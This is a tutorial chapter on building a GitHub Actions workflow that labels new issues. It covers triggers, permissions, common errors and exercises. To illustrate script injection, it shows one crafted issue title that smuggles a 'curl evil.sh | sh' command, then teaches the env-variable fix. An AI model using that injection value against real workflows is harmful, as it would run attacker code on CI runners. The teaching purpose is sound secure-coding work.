Sub topic 15
Automating issue handling with GitHub Actions
This chapter assumes you can read basic YAML, know how labels work, and have used the GitHub CLI (gh) to edit issues. You will build one workflow that labels every new issue, then learn how to adapt it and avoid the common mistakes.
How issue automation works
GitHub Actions is GitHub's built-in automation service. A workflow is a YAML file in .github/workflows/. It runs when an event happens in the repository. Opening, labeling, assigning, or closing an issue are all events that can start a workflow.
The issues event carries details about the issue, such as its number, title, and author. The workflow reads those details from the github.event context. A runner (a temporary virtual machine) then executes your steps.
A workflow that labels new issues
Save this file as .github/workflows/label-new-issues.yml.
name: Label new issues
on:
issues:
types: [opened]
permissions:
issues: write
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Add needs-triage label
run: gh issue edit "$NUMBER" --add-label "needs-triage" --repo "$GH_REPO"
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
NUMBER: ${{ github.event.issue.number }}Each part has a job:
on.issues.typeslimits the trigger to newly opened issues. Withouttypes, the workflow runs for every issue activity.permissionsgrants the built-in token only what it needs. Here that is write access to issues.GH_TOKENletsghauthenticate. The runner already hasghinstalled.GH_REPOtellsghwhich repository to use, so you do not need a checkout step.NUMBERpasses the issue number through an environment variable.
The label must exist before the workflow runs. If needs-triage is missing, gh issue edit fails. Create it once with gh label create needs-triage.
Pass event data through environment variables
The workflow above does not write ${{ github.event.issue.title }} directly inside the run: line. GitHub substitutes expressions before the shell runs, so a title like "; curl evil.sh | sh # would become part of the script. This is script injection.
Put untrusted values such as titles, bodies, and branch names into env:, then read them as shell variables. The shell treats them as data.
Extending the workflow
You can change the trigger or the command to cover other steps in your triage process.
| Goal | Event and type | Command idea |
|---|---|---|
| Welcome a first-time reporter | `issues: opened` | `gh issue comment "$NUMBER" --body "Thanks for the report."` |
| Close an issue after a label change | `issues: labeled` | `gh issue close "$NUMBER" --reason "not planned"` |
| Assign an owner | `issues: opened` | `gh issue edit "$NUMBER" --add-assignee "$OWNER"` |
Add an if: condition to run a step only in some cases. For example, if: github.event.label.name == 'wontfix' limits a step to the moment someone adds the wontfix label.
Common errors
Resource not accessible by integration. The token lacks permission. Addissues: writeunderpermissions.- Workflow never starts. GitHub reads workflow files from the default branch for
issuesevents. Merge the file there first. - Label not found. Create the label before the workflow adds it.
- Infinite loops. Events created by the built-in
GITHUB_TOKENdo not start new workflow runs, which prevents most loops. A personal access token does not have this protection, so avoid it for labeling.
Exercise
You want a workflow to comment on an issue only when someone adds the label needs-info. Which event type do you use, and what condition do you add to the step?
Show answer
Use on: issues: types: [labeled]. Add if: github.event.label.name == 'needs-info' to the step, and give the job issues: write permission.
Exercise
A teammate writes run: echo "${{ github.event.issue.title }}". Why is this unsafe, and how do you fix it?
Show answer
GitHub inserts the title into the script text before the shell runs, so a crafted title can run commands. Set env: TITLE: ${{ github.event.issue.title }} and use echo "$TITLE".